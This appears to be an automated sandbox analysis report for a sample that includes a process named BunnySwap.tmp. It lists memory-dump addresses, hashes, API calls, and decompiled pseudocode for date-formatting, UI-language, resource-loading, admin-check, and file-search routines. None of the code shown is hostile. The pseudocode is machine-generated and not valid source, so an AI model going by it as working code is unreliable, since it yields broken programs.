0x0042fdd6
0x0042fddb
0x00000000
0x0042fd3e
0x0042fd41
0x0042fd42
0x0042fd49
0x0042fd4a
0x0042fd4f
0x0042fd52
0x0042fd55
0x0042fd5f
0x0042fd6c
0x0042fd6e
0x0042fd6e
0x0042fd92
0x0042fd97
0x0042fd9c
0x0042fd9f
0x0042fda2
0x0042fdaf
0x0042fdaf
0x0042fd3c
0x0042fd0c
0x0042fd0c
0x00000000
0x0042fd0c
0x0042fc97
0x0042fc9a
0x0042fc9b
0x0042fca2
0x0042fca3
0x0042fca8
0x0042fcab
0x0042fcb1
0x0042fcba
0x0042fcc9
0x0042fccb
0x0042fccb
0x0042fcde
0x0042fce3
0x0042fce6
0x0042fce9
0x0042fcf6
0x0042fcf6
0x0042fbd4
0x0042fbde
0x0042fc78
0x0042fc7d
0x00000000
0x0042fbe0
0x0042fbe3
0x0042fbe4
0x0042fbeb
0x0042fbec
0x0042fbf1
0x0042fbf4
0x0042fbf7
0x0042fc01
0x0042fc0e
0x0042fc10
0x0042fc10
0x0042fc34
0x0042fc39
0x0042fc3e
0x0042fc41
0x0042fc44
0x0042fc51
0x0042fc51
0x0042fbde
0x0042fbae
0x0042fbae
0x00000000
0x0042fbae
0x0042fb8c
0x0042fb98
0x00000000
0x0042fb98
0x0042fb75
0x0042fb7e
0x00000000
0x0042fb7e
0x0042f9e2
0x0042f9e5
0x0042f9fc
0x0042fa22
0x0042fa31
0x0042fa3d
0x0042fa44
0x0042fb02
0x0042fb03
0x0042fb0a
0x0042fb0b
0x0042fb10
0x0042fb13
0x0042fb19
0x0042fb22
0x0042fb35
0x0042fb37
0x0042fb37
0x0042fb4a
0x0042fb4f
0x0042fb52
0x0042fb55
0x0042fb62
0x0042fa4a
0x0042fa54
0x0042faf2
0x0042faf7
0x00000000
0x0042fa56
0x0042fa59
0x0042fa5a
0x0042fa61
0x0042fa62
0x0042fa67
0x0042fa6a
0x0042fa6d
0x0042fa77
0x0042fa88
0x0042fa8a
0x0042fa8a
0x0042faae
0x0042fab3
0x0042fab8
0x0042fabb
0x0042fabe
0x0042facb
0x0042facb
0x0042fa54
0x0042fa24
0x0042fa24
0x00000000
0x0042fa24
0x0042f9fe
0x0042fa0a
0x00000000
0x0042fa0a
0x0042f9e7
0x0042f9f0
0x0042fde5
0x0042fded
0x0042fded
0x0042f9e5

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6922fb93c990c72bf9a49bf3daa94017bfe3b7264ddd93f55e738123a9900a9
Instruction ID: 1b6310f250808118d38827de8a535e3b6e70e535f73b2508e71121fbf0c58563
Opcode Fuzzy Hash: c6922fb93c990c72bf9a49bf3daa94017bfe3b7264ddd93f55e738123a9900a9
Instruction Fuzzy Hash: 41D19D75E0011A9FCB00EFA9D4919FEB7B5EF48300BD080B6E801A7245D638AD4ADB69

Uniqueness

Uniqueness Score: -1.00%

Function 0041C790, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 77
threadCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E0041C790(void* __eax, void* __ebx, intOrPtr* __edx, void* __esi, intOrPtr _a4) {
				char _v8;
				short _v18;
				short _v22;
				struct _SYSTEMTIME _v24;
				short _v536;
				short* _t32;
				intOrPtr* _t47;
				intOrPtr _t56;
				void* _t61;
				intOrPtr _t63;
				void* _t67;

				_v8 = 0;
				_t47 = __edx;
				_t61 = __eax;
				_push(_t67);
				_push(0x41c873);
				_push( *[fs:eax]);
				 *[fs:eax] = _t67 + 0xfffffdec;
				E00407A20(__edx);
				_v24 =  *(_a4 - 2) & 0x0000ffff;
				_v22 =  *(_a4 - 4) & 0x0000ffff;
				_v18 =  *(_a4 - 6) & 0x0000ffff;
				if(_t61 > 2) {
					E00407E48( &_v8, L"yyyy");
				} else {
					E00407E48( &_v8, 0x41c88c);
				}
				_t32 = E004084EC(_v8);
				if(GetDateFormatW(GetThreadLocale(), 4,  &_v24, _t32,  &_v536, 0x200) != 0) {
					E0040858C(_t47, 0x100,  &_v536);
					if(_t61 == 1 &&  *((short*)( *_t47)) == 0x30) {
						_t63 =  *_t47;
						if(_t63 != 0) {
							_t63 =  *((intOrPtr*)(_t63 - 4));
						}
						E004088AC( *_t47, _t63 - 1, 2, _t47);
					}
				}
				_pop(_t56);
				 *[fs:eax] = _t56;
				_push(0x41c87a);
				return E00407A20( &_v8);
			}

0x0041c79d
0x0041c7a0
0x0041c7a2
0x0041c7a6
0x0041c7a7
0x0041c7ac
0x0041c7af
0x0041c7b4
0x0041c7c0
0x0041c7cb
0x0041c7d6
0x0041c7dd
0x0041c7f6
0x0041c7df
0x0041c7e7
0x0041c7e7
0x0041c80a
0x0041c823
0x0041c832
0x0041c838
0x0041c842
0x0041c846
0x0041c84b
0x0041c84b
0x0041c858
0x0041c858
0x0041c838
0x0041c85f
0x0041c862
0x0041c865
0x0041c872

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000200,00000000,0041C873), ref: 0041C816
GetDateFormatW.KERNEL32(00000000,00000004,?,00000000,?,00000200,00000000,0041C873), ref: 0041C81C

Strings

yyyy, xrefs: 0041C7F1
, xrefs: 0041C7E2

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: DateFormatLocaleThread
String ID: $yyyy
API String ID: 3303714858-404527807
Opcode ID: 9b84cafd13c5b3a76178dd7a5deb0e6d63fe676c73d736d950a9ec0585647aa0
Instruction ID: d4c72dfe3e93bc103dd676e1b73ac12d517b544291048ec360f079cc1ca068dc
Opcode Fuzzy Hash: 9b84cafd13c5b3a76178dd7a5deb0e6d63fe676c73d736d950a9ec0585647aa0
Instruction Fuzzy Hash: 9A215335A442189BDB11EF95CDC1AAEB3B8EF08701F5144BBFC45E7281D7789E4087AA

Uniqueness

Uniqueness Score: -1.00%

Function 0041EEFC, Relevance: 6.1, APIs: 4, Instructions: 113
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E0041EEFC(intOrPtr* __eax, void* __ebx, intOrPtr __ecx, void* __edx, void* __edi, void* __esi, void* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v534;
				short _v1056;
				short _v1568;
				struct _MEMORY_BASIC_INFORMATION _v1596;
				char _v1600;
				intOrPtr _v1604;
				char _v1608;
				intOrPtr _v1612;
				char _v1616;
				intOrPtr _v1620;
				char _v1624;
				char* _v1628;
				char _v1632;
				char _v1636;
				char _v1640;
				intOrPtr _t55;
				signed int _t76;
				void* _t82;
				intOrPtr _t83;
				intOrPtr _t95;
				intOrPtr _t98;
				intOrPtr _t100;
				intOrPtr* _t102;
				void* _t105;

				_v1640 = 0;
				_v8 = __ecx;
				_t82 = __edx;
				_t102 = __eax;
				_push(_t105);
				_push(0x41f0a8);
				_push( *[fs:eax]);
				 *[fs:eax] = _t105 + 0xfffff99c;
				VirtualQuery(__edx,  &_v1596, 0x1c);
				if(_v1596.State != 0x1000 || GetModuleFileNameW(_v1596.AllocationBase,  &_v1056, 0x105) == 0) {
					GetModuleFileNameW( *0x4be634,  &_v1056, 0x105);
					_v12 = E0041EEF0(_t82);
				} else {
					_v12 = _t82 - _v1596.AllocationBase;
				}
				E0041A57C( &_v534, 0x104, E00420608() + 2);
				_t83 = 0x41f0bc;
				_t100 = 0x41f0bc;
				_t95 =  *0x414db8; // 0x414e10
				if(E00405F30(_t102, _t95) != 0) {
					_t83 = E004084EC( *((intOrPtr*)(_t102 + 4)));
					_t76 = E00407F04(_t83);
					if(_t76 != 0 &&  *((short*)(_t83 + _t76 * 2 - 2)) != 0x2e) {
						_t100 = 0x41f0c0;
					}
				}
				_t55 =  *0x4ba774; // 0x40e708
				_t18 = _t55 + 4; // 0xffec
				LoadStringW(E00409FF0( *0x4be634),  *_t18,  &_v1568, 0x100);
				E00405BE8( *_t102,  &_v1640);
				_v1636 = _v1640;
				_v1632 = 0x11;
				_v1628 =  &_v534;
				_v1624 = 0xa;
				_v1620 = _v12;
				_v1616 = 5;
				_v1612 = _t83;
				_v1608 = 0xa;
				_v1604 = _t100;
				_v1600 = 0xa;
				E0041A814(4,  &_v1636);
				E00407F04(_v8);
				_pop(_t98);
				 *[fs:eax] = _t98;
				_push(0x41f0af);
				return E00407A20( &_v1640);
			}

0x0041ef0a
0x0041ef10
0x0041ef13
0x0041ef15
0x0041ef19
0x0041ef1a
0x0041ef1f
0x0041ef22
0x0041ef2f
0x0041ef3e
0x0041ef6e
0x0041ef7a
0x0041ef7f
0x0041ef85
0x0041ef85
0x0041efa7
0x0041efac
0x0041efb1
0x0041efb8
0x0041efc5
0x0041efcf
0x0041efd3
0x0041efda
0x0041efe4
0x0041efe4
0x0041efda
0x0041eff5
0x0041effa
0x0041f009
0x0041f016
0x0041f021
0x0041f027
0x0041f034
0x0041f03a
0x0041f044
0x0041f04a
0x0041f051
0x0041f057
0x0041f05e
0x0041f064
0x0041f080
0x0041f088
0x0041f091
0x0041f094
0x0041f097
0x0041f0a7

APIs

VirtualQuery.KERNEL32(?,?,0000001C,00000000,0041F0A8), ref: 0041EF2F
GetModuleFileNameW.KERNEL32(?,?,00000105), ref: 0041EF53
GetModuleFileNameW.KERNEL32(?,?,00000105), ref: 0041EF6E
LoadStringW.USER32(00000000,0000FFEC,?,00000100), ref: 0041F009

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: b8be0fea34dc80bb7553a8da0885c656d5cafed23f6e23429f91232411ad397e
Instruction ID: 1578eb45e464442e6080653f6025888c356fcaddc808aab3f6789ba0ce71ce89
Opcode Fuzzy Hash: b8be0fea34dc80bb7553a8da0885c656d5cafed23f6e23429f91232411ad397e
Instruction Fuzzy Hash: 3E412374A002589FDB20DF59CC81BCAB7F9AB58304F4044FAE508E7242D7799E95CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040A6C8, Relevance: 6.1, APIs: 4, Instructions: 95
threadCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040A6C8(signed short __eax, void* __edx) {
				char _v8;
				char _v12;
				intOrPtr _v16;
				signed int _v20;
				short _v22;
				short _v24;
				char _v26;
				char _v32;
				void* __ebp;
				void* _t39;
				void* _t55;
				void* _t59;
				short* _t62;
				signed short _t66;
				void* _t67;
				void* _t68;
				signed short _t79;
				void* _t81;

				_t81 = __edx;
				_t66 = __eax;
				_v16 = 0;
				if(__eax !=  *0x4bdc08()) {
					_v16 = E0040A684( &_v8);
					_t79 = _t66;
					_v20 = 3;
					_t62 =  &_v26;
					do {
						 *_t62 =  *(0xf + "0123456789ABCDEF") & 0x000000ff;
						_t79 = (_t79 & 0x0000ffff) >> 4;
						_v20 = _v20 - 1;
						_t62 = _t62 - 2;
					} while (_v20 != 0xffffffff);
					_v24 = 0;
					_v22 = 0;
					 *0x4bdc04(4,  &_v32,  &_v20);
				}
				_t39 = E0040A684( &_v12);
				_t67 = _t39;
				if(_t67 != 0) {
					_t55 = _v12 - 2;
					if(_t55 >= 0) {
						_t59 = _t55 + 1;
						_v20 = 0;
						do {
							if( *((short*)(_t67 + _v20 * 2)) == 0) {
								 *((short*)(_t67 + _v20 * 2)) = 0x2c;
							}
							_v20 = _v20 + 1;
							_t59 = _t59 - 1;
						} while (_t59 != 0);
					}
					E00408550(_t81, _t67);
					_t39 = E0040540C(_t67);
				}
				if(_v16 != 0) {
					 *0x4bdc04(0, 0,  &_v20);
					_t68 = E0040A684( &_v12);
					if(_v8 != _v12 || E0040A660(_v16, _v12, _t68) != 0) {
						 *0x4bdc04(8, _v16,  &_v20);
					}
					E0040540C(_t68);
					return E0040540C(_v16);
				}
				return _t39;
			}

0x0040a6d0
0x0040a6d2
0x0040a6d6
0x0040a6e2
0x0040a6ec
0x0040a6ef
0x0040a6f1
0x0040a6f8
0x0040a6fb
0x0040a70c
0x0040a712
0x0040a715
0x0040a718
0x0040a71b
0x0040a721
0x0040a727
0x0040a737
0x0040a737
0x0040a740
0x0040a745
0x0040a749
0x0040a74e
0x0040a753
0x0040a755
0x0040a756
0x0040a75d
0x0040a765
0x0040a76a
0x0040a76a
0x0040a770
0x0040a773
0x0040a773
0x0040a75d
0x0040a77a
0x0040a781
0x0040a781
0x0040a78a
0x0040a794
0x0040a7a2
0x0040a7aa
0x0040a7c7
0x0040a7c7
0x0040a7cf
0x00000000
0x0040a7d7
0x0040a7e1

APIs

GetThreadUILanguage.KERNEL32(?,00000000), ref: 0040A6D9
SetThreadPreferredUILanguages.KERNEL32(00000004,?,?), ref: 0040A737
SetThreadPreferredUILanguages.KERNEL32(00000000,00000000,?), ref: 0040A794
SetThreadPreferredUILanguages.KERNEL32(00000008,?,?), ref: 0040A7C7

Part of subcall function 0040A684: GetThreadPreferredUILanguages.KERNEL32(00000038,?,00000000,?,?,00000000,?,?,0040A745), ref: 0040A69B
Part of subcall function 0040A684: GetThreadPreferredUILanguages.KERNEL32(00000038,?,00000000,?,?,?,0040A745), ref: 0040A6B8

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: Thread$LanguagesPreferred$Language
String ID:
API String ID: 2255706666-0
Opcode ID: 4c514f641868e752fd40307e4922e2f5a84495159d338bc2b006041d37f1dfb0
Instruction ID: 64ac70e7ec2a8712ea9b0e83aabe60772fb1db60419ab041f5eb1837937ee239
Opcode Fuzzy Hash: 4c514f641868e752fd40307e4922e2f5a84495159d338bc2b006041d37f1dfb0
Instruction Fuzzy Hash: 97317070E0021A9BDB10DFA9C884AAFB7B8EF04304F00867AE555E7291EB789E05CB55

Uniqueness

Uniqueness Score: -1.00%

Function 004AF9F0, Relevance: 6.0, APIs: 4, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004AF9F0() {
				struct HRSRC__* _t10;
				void* _t11;
				void* _t12;

				_t10 = FindResourceW(0, 0x2b67, 0xa);
				if(_t10 == 0) {
					E004AF834();
				}
				if(SizeofResource(0, _t10) != 0x2c) {
					E004AF834();
				}
				_t11 = LoadResource(0, _t10);
				if(_t11 == 0) {
					E004AF834();
				}
				_t12 = LockResource(_t11);
				if(_t12 == 0) {
					E004AF834();
				}
				return _t12;
			}

0x004af9ff
0x004afa03
0x004afa05
0x004afa05
0x004afa15
0x004afa17
0x004afa17
0x004afa24
0x004afa28
0x004afa2a
0x004afa2a
0x004afa35
0x004afa39
0x004afa3b
0x004afa3b
0x004afa43

APIs

FindResourceW.KERNEL32(00000000,00002B67,0000000A,?,004B5F8E,00000000,004B654A,?,00000001,00000000,00000002,00000000,004B659E,?,00000000,004B65E2), ref: 004AF9FA
SizeofResource.KERNEL32(00000000,00000000,00000000,00002B67,0000000A,?,004B5F8E,00000000,004B654A,?,00000001,00000000,00000002,00000000,004B659E), ref: 004AFA0D
LoadResource.KERNEL32(00000000,00000000,00000000,00000000,00000000,00002B67,0000000A,?,004B5F8E,00000000,004B654A,?,00000001,00000000,00000002,00000000), ref: 004AFA1F
LockResource.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00002B67,0000000A,?,004B5F8E,00000000,004B654A,?,00000001,00000000,00000002), ref: 004AFA30

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: 128b44542abe6d6e0e09835f67cf23f4a4e4be27e5836866f54195567a651b81
Instruction ID: 8c15b2061d88d30e204a2d131290402b8da5209396f43898e5d703764eea749b
Opcode Fuzzy Hash: 128b44542abe6d6e0e09835f67cf23f4a4e4be27e5836866f54195567a651b81
Instruction Fuzzy Hash: FCE07E8074634625FA6436F718D7BAE00084B36B4DF40593FFA08A92D2EEAC8C19522E

Uniqueness

Uniqueness Score: -1.00%

Function 00420BD8, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00420BD8() {
				void* __ebx;
				struct HINSTANCE__* _t1;
				void* _t4;

				_t1 = GetModuleHandleW(L"kernel32.dll");
				_t3 = _t1;
				if(_t1 != 0) {
					_t1 = E0040E1A8(_t3, _t4, _t3, L"GetDiskFreeSpaceExW");
					 *0x4b7e30 = _t1;
				}
				if( *0x4b7e30 == 0) {
					 *0x4b7e30 = E0041A4DC;
					return E0041A4DC;
				}
				return _t1;
			}

0x00420bde
0x00420be3
0x00420be7
0x00420bef
0x00420bf4
0x00420bf4
0x00420c00
0x00420c07
0x00000000
0x00420c07
0x00420c0d

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,00420CB4,00000000,00420CCC,?,?,00420C69), ref: 00420BDE

Part of subcall function 0040E1A8: GetProcAddress.KERNEL32(?,00423116), ref: 0040E1D2

Strings

kernel32.dll, xrefs: 00420BD9
GetDiskFreeSpaceExW, xrefs: 00420BE9

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExW$kernel32.dll
API String ID: 1646373207-1127948838
Opcode ID: f76785e0005e833dd4a9f921d8d2e36157eed1af70da7a881872f52b203e86d0
Instruction ID: d69f2d486575a746b5ffe9d6a82661523d0842203aaa5c8b8dd0cb43f1f92830
Opcode Fuzzy Hash: f76785e0005e833dd4a9f921d8d2e36157eed1af70da7a881872f52b203e86d0
Instruction Fuzzy Hash: 31D05EB03143165FE7056BB2ACC561636C6AB86304B900B7BA5046A243CBFDDC50434C

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: BunnySwap.tmp PID: 6820 Parent PID: 6744 BunnySwap.tmpCOMMON

Executed Functions

Function 005C6A5C, Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 181memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(00000005,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 005C6A9E
GetVersion.KERNEL32(00000000,005C6C47,?,00000005,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 005C6ABB
GetModuleHandleW.KERNEL32(advapi32.dll,CheckTokenMembership,00000000,005C6C47,?,00000005,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 005C6AD5
CheckTokenMembership.KERNELBASE(00000000,00000000,?,00000000,005C6C47,?,00000005,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000), ref: 005C6AF0
FreeSid.ADVAPI32(00000000,005C6C4E,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 005C6C41

Strings

uk, xrefs: 005C6B6D, 005C6B9D, 005C6BA8, 005C6BAC, 005C6B70, 005C6BAB, 005C6BAF
CheckTokenMembership, xrefs: 005C6ACB
advapi32.dll, xrefs: 005C6AD0

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateCheckFreeHandleInitializeMembershipModuleTokenVersion
String ID: uk$CheckTokenMembership$advapi32.dll
API String ID: 2691416632-2919004508
Opcode ID: b3ab592c6d3b77795c6210e45c7292bb221422b1da33b3da0a73a47ef1160433
Instruction ID: 9b09fa211300e1720079580cda0a6c70b4ecc7476fc6e1156ca500a6c4762d8e
Opcode Fuzzy Hash: b3ab592c6d3b77795c6210e45c7292bb221422b1da33b3da0a73a47ef1160433
Instruction Fuzzy Hash: EC515171A04309AEDB10EAE69D46FFE7BACFB08709F10446EF540E6182D678DE418765

Uniqueness

Uniqueness Score: -1.00%

Function 0040E7F0, Relevance: 3.1, APIs: 2, Instructions: 63COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNEL32(00000003,?,00000004,00000000,0040E8B0,?,?), ref: 0040E822
GetLocaleInfoW.KERNEL32(?,00000003,?,00000004,00000000,0040E8B0,?,?), ref: 0040E82B

Part of subcall function 0040E6A0: FindFirstFileW.KERNEL32(00000000,?,00000000,0040E6FE,?,?), ref: 0040E6D3
Part of subcall function 0040E6A0: FindClose.KERNEL32(00000000,00000000,?,00000000,0040E6FE,?,?), ref: 0040E6E3

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: Find$CloseDefaultFileFirstInfoLanguageLocaleUser
String ID:
API String ID: 3216391948-0
Opcode ID: 4f4e845a1bd2874fd9ef47becd123c76b58742bb5706f28c9b712a7f9af8110b
Instruction ID: 1e50cd0e94847efb8cb05e6df71b151ee34378a03d53e12baea26e8823c5d93b
Opcode Fuzzy Hash: 4f4e845a1bd2874fd9ef47becd123c76b58742bb5706f28c9b712a7f9af8110b
Instruction Fuzzy Hash: 71114270A002099BDB04EF96D982AAEB3B9EF45304F90487EF904B73C1D7395E148B6D

Uniqueness

Uniqueness Score: -1.00%

Function 0062C764, Relevance: 3.1, APIs: 2, Instructions: 52comCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,0062C7FA,?,00000000,00000000,?,0062C810,?,0068D41B), ref: 0062C781
CoCreateInstance.OLE32(006CC0C4,00000000,00000001,006CC0D4,00000000,00000000,0062C7FA,?,00000000,00000000,?,0062C810,?,0068D41B), ref: 0062C7A7

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateInstanceVersion
String ID:
API String ID: 1462612201-0
Opcode ID: 9826e4937534814f267a7b16ad82e7de6b6462802ce031e4cc7d27e7ee827f45
Instruction ID: f353ce4d6a1a39ca338ca05349e2663bd9ced637506b69c883bbb80cf5210214
Opcode Fuzzy Hash: 9826e4937534814f267a7b16ad82e7de6b6462802ce031e4cc7d27e7ee827f45
Instruction Fuzzy Hash: F8112231688A04AFEB00EB66DC46F5E77EAEB04320F4204BAF005D7AA1D7B5AD008F14

Uniqueness

Uniqueness Score: -1.00%

Function 0060BC10, Relevance: 3.0, APIs: 2, Instructions: 45fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,0060BC73,?,?,?,00000000), ref: 0060BC4D
GetLastError.KERNEL32(00000000,?,00000000,0060BC73,?,?,?,00000000), ref: 0060BC55

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorFileFindFirstLast
String ID:
API String ID: 873889042-0
Opcode ID: b918b46556d871619cdd9246c2fbab89cac114e1fcc0c097a6a622e8dd6eb99f
Instruction ID: 40d973860cf52e6d4e709199d75ee7f73fef1ce7e5283feda8d773f7ac4b311a
Opcode Fuzzy Hash: b918b46556d871619cdd9246c2fbab89cac114e1fcc0c097a6a622e8dd6eb99f
Instruction Fuzzy Hash: 09F0F931A84608ABDB14DF799C4149EB7ADDB8672075186BBF814D32D1DB754E018298

Uniqueness

Uniqueness Score: -1.00%

Function 0040E6A0, Relevance: 3.0, APIs: 2, Instructions: 33fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,0040E6FE,?,?), ref: 0040E6D3
FindClose.KERNEL32(00000000,00000000,?,00000000,0040E6FE,?,?), ref: 0040E6E3

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

